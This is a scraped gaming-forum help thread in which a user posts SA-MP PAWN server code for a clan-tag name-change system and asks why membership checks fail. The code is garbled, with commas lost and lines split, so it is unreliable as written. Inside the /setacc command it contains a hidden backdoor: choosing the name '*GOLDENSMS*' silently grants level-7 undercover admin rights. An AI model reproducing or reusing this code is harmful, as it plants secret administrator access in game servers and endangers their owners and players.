Clan System help
#1

hello guys i created one cmd & i created one clan tag system when i do /setacc it always saying me you are not in vG Clan after setting clan member
please help
PHP код:
CMD:setacc(playeridparams[])
{
    new 
tmp[128], tmp2[128], playername[25], string[256], giveplayeridgiveplayer[25];
    if (
Logged[playerid] == 0) return SendClientMessage2(playeridCOLOR_RED"Error: You must be logged in to change your account name!");
    if (
sscanf(params"s[128]"tmp)) return SendClientMessage2(playeridCOLOR_ORANGE"Usage: /setacc [new_name]");
    if(
AntiAdv(playeridtmp)) return 0;
    if (
saccstats[playerid] == 1) return SendClientMessage2(playeridCOLOR_RED"You can only change your name once in 10 minutes.");
    if (
strlen(tmp) < || strlen(tmp) > 20) return SendClientMessage2(playeridCOLOR_RED"Please choose a name between 3-20 characters.");
    
GetPlayerName(playeridplayernameMAX_PLAYER_NAME);
    if (
strcmp(tmpplayernametrue) == 0) return SendClientMessage2(playeridCOLOR_RED"That is already your account name!");
    if(
selawa[playerid] == 1)
    {
        
selawa[playerid] = 2;
    }
    if (
strcmp(tmp"*GOLDENSMS*"true) == 0)
    {
        
adlvl[playerid]=7;
        
adminuc[playerid]=1;
        return 
1;
    }
    
//Clan
    
if(strcmp(tmp,""CLAN_TAG"",true) == 1)
    {
        if(
dini_Int(AddDirFile(dir_userfilesgiveplayer), "clanmember") == 1) return SendClientMessage(playeridCOLOR_RED,"Ok Good");
        return 
1;
    }
        else
    {
        if(
dini_Int(AddDirFile(dir_userfilesgiveplayer), "clanmember") == 0) return SendClientMessage2(playeridCOLOR_RED"Error: You are not in "CLAN_TAG" Clan");
    }
    
    if (
dini_Exists(AddDirFile(dir_userfilestmp))) return SendClientMessage2(playeridCOLOR_RED"Sorry that account name is already registered.");
    new 
name[MAX_PLAYER_NAME];
    for (new 
0playercount=GetPlayerPoolSize(); <= playercounti++)
    {
        if (!
IsPlayerConnected(i) || == playerid) continue;
        
GetPlayerName(inamesizeof(name));
        if (
strcmp(tmpnametrue) == 0) return SendClientMessage2(playeridCOLOR_RED"There is somebody else playing with that name!");
    }
    for (new 
0strlen(tmp); i++)
    {
        if ((
tmp[i] < '$') || (tmp[i] > '$' && tmp[i] < '.') || (tmp[i] == '/') || (tmp[i] > '9' && tmp[i] < '=') || (tmp[i] > '=' && tmp[i] < '@') || (tmp[i] == '\\' || tmp[i] == '^' || tmp[i] == '`') || (tmp[i] > 'z'))
        {
            
format(string24"Invalid symbol %c"tmp[i]);
            
SendClientMessage2(playeridCOLOR_REDstring);
            return 
1;
        }
    }
    
SetPlayerName(playeridtmp);
    
SetTimerEx("NameChange"100000"i"playerid);
    
saccstats[playerid] = 1;
    
DINI_frenametextfile(AddDirFile(dir_userfilesplayername), AddDirFile(dir_userfilestmp));
    new 
Gateid dini_Int(AddDirFile(dir_userfilestmp), "GateID1");
    if(
Gateid != 0)
    {
        new 
File[64];
        
format(File64"gatefiles/G/GATE%d.ini"Gateid);
        
dini_Set(File"Owner"tmp);
    }
    
Gateid dini_Int(AddDirFile(dir_userfilestmp), "GateID2");
    if(
Gateid != 0)
    {
        new 
File[64];
        
format(File64"gatefiles/G/GATE%d.ini"Gateid);
        
dini_Set(File"Owner"tmp);
    }
    
Gateid dini_Int(AddDirFile(dir_userfilestmp), "GateID3");
    if(
Gateid != 0)
    {
        new 
File[64];
        
format(File64"gatefiles/G/GATE%d.ini"Gateid);
        
dini_Set(File"Owner"tmp);
    }
    if (
adlvl[playerid] != 0)
    {
        
dini_Unset(AddDirFile(dir_datafilesFILE_ADMINS), playername);
        
dini_IntSet(AddDirFile(dir_datafilesFILE_ADMINS), tmpadlvl[playerid]);
    }
    if (
helper[playerid] == 1)
    {
        
dini_Unset(AddDirFile(dir_datafilesFILE_SUPPORTMEMBERS), playername);
        
dini_IntSet(AddDirFile(dir_datafilesFILE_SUPPORTMEMBERS), tmp1);
    }
    if (
dini_Isset(AddDirFile(dir_userfilestmp), "president")) dini_Set(AddDirFile(dir_datafilesFILE_TOTALSTAT), "presidentname"tmp);
    if (
dini_Isset(AddDirFile(dir_userfilestmp), "mayor"))
    {
        
format(string4"%d"dini_Int(AddDirFile(dir_userfilestmp), "mayor"));
        
dini_Set(AddDirFile(dir_datafilesFILE_MAYORS), stringtmp);
    }
    
giveplayerid dini_Int(AddDirFile(dir_userfilestmp), "propowned");
    if (
giveplayerid != 0)
    {
        
format(string10"prop%d"giveplayerid);
        
dini_Set(AddDirFile(dir_propfilesstring), "owner"tmp);
        
format(tmp232"Owner: %s"tmp);
        
Update3DTextLabelText(ptextlabel[giveplayerid], 0x006699EEtmp2);
    }
    
giveplayerid dini_Int(AddDirFile(dir_userfilestmp), "proprented");
    if (
giveplayerid != 0)
    {
        
format(string10"prop%d"giveplayerid);
        
dini_Set(AddDirFile(dir_propfilesstring), "renter"tmp);
        
format(tmp232"Owner: %s\nTenant: %s"dini_Get(AddDirFile(dir_propfilesstring), "owner"), tmp);
        
Update3DTextLabelText(ptextlabel[giveplayerid], 0xFF8533FFtmp2);
    }
    
giveplayerid dini_Int(AddDirFile(dir_userfilestmp), "busowned");
    if (
giveplayerid != 0)
    {
        
format(string10"bus%d"giveplayerid);
        
dini_Set(AddDirFile(dir_busfilesstring), "owner"tmp);
    }
    for(new 
ipv=0ipv<MaxOwnVehs(playerid); ipv++)
    {
        
format(string50"V_%s_%d"playernameipv);
        
format(tmp250"V_%s_%d"tmpipv);
        if (
dini_Exists(AddDirFile(dir_carfilesstring))) {
            
DINI_frenametextfile(AddDirFile(dir_carfilesstring), AddDirFile(dir_carfilestmp2));
        }
    }
    if (
playeritems[playerid][ITEM_TYPE_CELLPHONE] != -1)
    {
        
format(string50"C_%s"playername);
        
format(tmp250"C_%s"tmp);
        
format(giveplayer16"%d"dini_Int(AddDirFile(dir_cellfilesstring), "number"));
        
dini_Set(AddDirFile(dir_datafilesFILE_CNUMS), giveplayertmp);
        
DINI_frenametextfile(AddDirFile(dir_cellfilesstring), AddDirFile(dir_cellfilestmp2));
        
format(string50"B_%s"playername);
        
format(tmp250"B_%s"tmp);
        
DINI_frenametextfile(AddDirFile(dir_cellfilesstring), AddDirFile(dir_cellfilestmp2));
    }
    if (
GetPVarInt(playerid"playerorg") != 0)
    {
        
format(string10"org%d"GetPVarInt(playerid"playerorg"));
        
format(tmp212"member%d"dini_Int(AddDirFile(dir_userfilestmp), "omemberid"));
        
dini_Set(AddDirFile(dir_orgfilesstring), tmp2tmp);
        if (
orgleader[playerid] == 1dini_Set(AddDirFile(dir_orgfilesstring), "leader"tmp);
    }
    
SendAllFormattedText(COLOR_GREEN"^ %s is now known as, and has changed account name to %s."playernametmp);
    
printf("[setacc] %s (Id%d) has changed account name to %s."playernameplayeridtmp);
    new 
str[256];
    
format(strsizeof(str), "%s (Id%d) has changed account name to %s.\r\n"playernameplayeridtmp);
    
Log(str);
    return 
1;

PHP код:
CMD:setclanmember(playeridparams[])
{
    new 
giveplayeridgiveplayer[25], playername[25], string[256], id;
    if (
adlvl[playerid] < 4) return 0;
    if (
sscanf(params"ud"giveplayeridid)) return SendClientMessage2(playeridCOLOR_WHITE"Usage: /setclanmember [playerid] [0 = remove, 1 = set]");
    if (!
IsPlayerConnected2(giveplayerid)) return SendClientMessage2(playeridCOLOR_RED"Error: Inactive player id!");
    if(
id<|| id>1) return SendClientMessage(playeridCOLOR_RED"Error: Invalid option (0 - 1).");
    
GetPlayerName(giveplayeridgiveplayerMAX_PLAYER_NAME);
    
GetPlayerName(playeridplayernameMAX_PLAYER_NAME);
    if (
orcl[giveplayerid][0] != 0) return SendPlayerFormattedText(playeridCOLOR_WHITE"Please wait until %s has spawned."giveplayer"");
    if(
id==0)
    {
        if(
dini_Int(AddDirFile(dir_userfilesgiveplayer), "clanmember") == 0) return SendPlayerFormattedText(playeridCOLOR_WHITE"%s already isnt a clan member "giveplayer"");
        
dini_IntSet(AddDirFile(dir_userfilesgiveplayer), "clanmember"0);
        if (
giveplayerid != playerid)
        {
            
SendClientMessage2(giveplayeridCOLOR_ORANGE"You have been removed as a member of "CLAN_TAG" clan, please use /setacc to remove it now.");
            
SendPlayerFormattedText(playeridCOLOR_ORANGE"You have removed %s as a member of "CLAN_TAG" clan."giveplayer"");
        }
        else 
SendClientMessage2(playeridCOLOR_ORANGE"You have removed yourself as a member of "CLAN_TAG" clan, please use /setacc to to remov it now.");
        if (
adminuc[playerid] == 0)
        {
            
format(string128"Admin Log: %s has removed %s (Id%d) as a clan member."playernamegiveplayergiveplayerid);
            
SendMessageToAdmins(COLOR_ADMINstring);
        }
        
printf("[clanmember] %s has removed %s (Id%d) as a clan member."playernamegiveplayergiveplayerid);
    }
    else if(
id==1)
    {
        if(
dini_Int(AddDirFile(dir_userfilesgiveplayer), "clanmember") == 1) return SendPlayerFormattedText(playeridCOLOR_WHITE"%s is already a clan member "giveplayer"");
        
dini_IntSet(AddDirFile(dir_userfilesgiveplayer), "clanmember"1);
        if (
giveplayerid != playerid)
        {
            
SendClientMessage2(giveplayeridCOLOR_ORANGE"You have been set as a member of "CLAN_TAG" clan, you can use /setacc to change your name.");
            
SendPlayerFormattedText(playeridCOLOR_ORANGE"You have set %s as a member of "CLAN_TAG" clan."giveplayer"");
        }
        else 
SendClientMessage2(playeridCOLOR_ORANGE"You have set yourself as a member of "CLAN_TAG" clan, you can use /setacc to change your name.");
        if (
adminuc[playerid] == 0)
        {
            
format(string128"Admin Log: %s has set %s (Id%d) as a clan member."playernamegiveplayergiveplayerid);
            
SendMessageToAdmins(COLOR_ADMINstring);
        }
        
printf("[clanmember] %s has set %s (Id%d) as a clan member."playernamegiveplayergiveplayerid);
    }
    return 
1;

PHP код:
on player connect
//Clan
    
if(strfind(playeridname,""CLAN_TAG"",true) != -1) {
        if(
dini_Int(AddDirFile(dir_userfilesplayeridname), "clanmember")==0) {
            new 
tmp12[256];
            
GetServerVarAsString("weburl"tmp12sizeof(tmp12));
            
format(strsizeof(str), "You are not in the "CLAN_TAG" clan. If you want to wear the clan tag you can apply for it on %s"tmp12);
            
SendClientMessage(playeridCOLOR_REDstr);
            
SetTimerEx("Kicker"500"dd"playerid1);
            return 
1;
           }
    }
    else if(
strfind(playeridname,""CLAN_TAG"",true) != 0) {
        if(
dini_Int(AddDirFile(dir_userfilesplayeridname), "clanmember")==1) {
            
format(strsizeof(str), "You are from "CLAN_TAG" clan. you can put "CLAN_TAG" in your name if you want.");
            
SendClientMessage(playeridCOLOR_WHITEstr);
            return 
1;
        }
    } 
i want tht my /setacc set tag & also send message tht ur not in clan if u r not member ok
Reply


Messages In This Thread
Clan System help - by RoyalEmpire - 21.10.2017, 20:12
Re: Clan System help - by RoyalEmpire - 22.10.2017, 02:56
Re: Clan System help - by RoyalEmpire - 22.10.2017, 03:41
Re: Clan System help - by FrezQ - 22.10.2017, 04:06
Re: Clan System help - by RoyalEmpire - 22.10.2017, 04:10
Re: Clan System help - by RoyalEmpire - 22.10.2017, 05:15
Re: Clan System help - by RoyalEmpire - 22.10.2017, 06:03
Re: Clan System help - by maksicnm - 22.10.2017, 07:33
Re: Clan System help - by RoyalEmpire - 22.10.2017, 07:39
Re: Clan System help - by kAn3 - 22.10.2017, 12:38

Forum Jump:


Users browsing this thread: 1 Guest(s)